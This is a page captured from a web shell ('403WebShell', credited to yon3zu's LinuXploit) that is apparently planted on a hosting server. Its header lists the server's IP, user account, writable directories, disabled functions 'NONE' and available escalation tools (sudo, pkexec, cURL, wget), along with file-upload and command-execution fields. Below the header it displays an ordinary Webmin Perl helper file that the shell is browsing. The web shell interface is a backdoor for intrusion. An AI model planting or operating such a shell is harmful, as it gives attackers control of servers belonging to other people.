Uname:Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64

Base Dir : /home/iscmbt-kufa-atu/public_html

User : iscmbt-kufa-atu


403WebShell
403Webshell
Server IP : 89.117.53.150  /  Your IP : 216.73.216.11
Web Server : Apache
System : Linux server2.hostofiraq.site 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : iscmbt-kufa-atu ( 1014)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/webmin/syslog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/webmin/syslog/cgi_args.pl
do 'syslog-lib.pl';

sub cgi_args
{
my ($cgi) = @_;
if ($cgi eq 'edit_log.cgi' && $access{'syslog'}) {
	# Link to editor for first log
	my $conf = &get_config();
	my @logs = grep { !$_->{'tag'} && &can_edit_log($_) } @$conf;
	return @logs ? 'idx='.$logs[0]->{'index'} :
	       $access{'noedit'} ? 'none' : 'new=1';
	}
elsif ($cgi eq 'save_log.cgi') {
	if ($access{'syslog'}) {
		# View first system log
		my $conf = &get_config();
		my @logs = grep { !$_->{'tag'} && &can_edit_log($_) &&
				  $_->{'file'} && -f $_->{'file'} } @$conf;
		if (@logs) {
			return 'view=1&idx='.$logs[0]->{'index'};
			}
		}
	# View first individual log
	my @extras = grep { &can_edit_log($_) } &extra_log_files();
	return @extras ? 'view=1&extra='.&urlize($extras[0]->{'file'})
		       : 'none';
	}
return undef;
}

Youez - 2016 - github.com/yon3zu
LinuXploit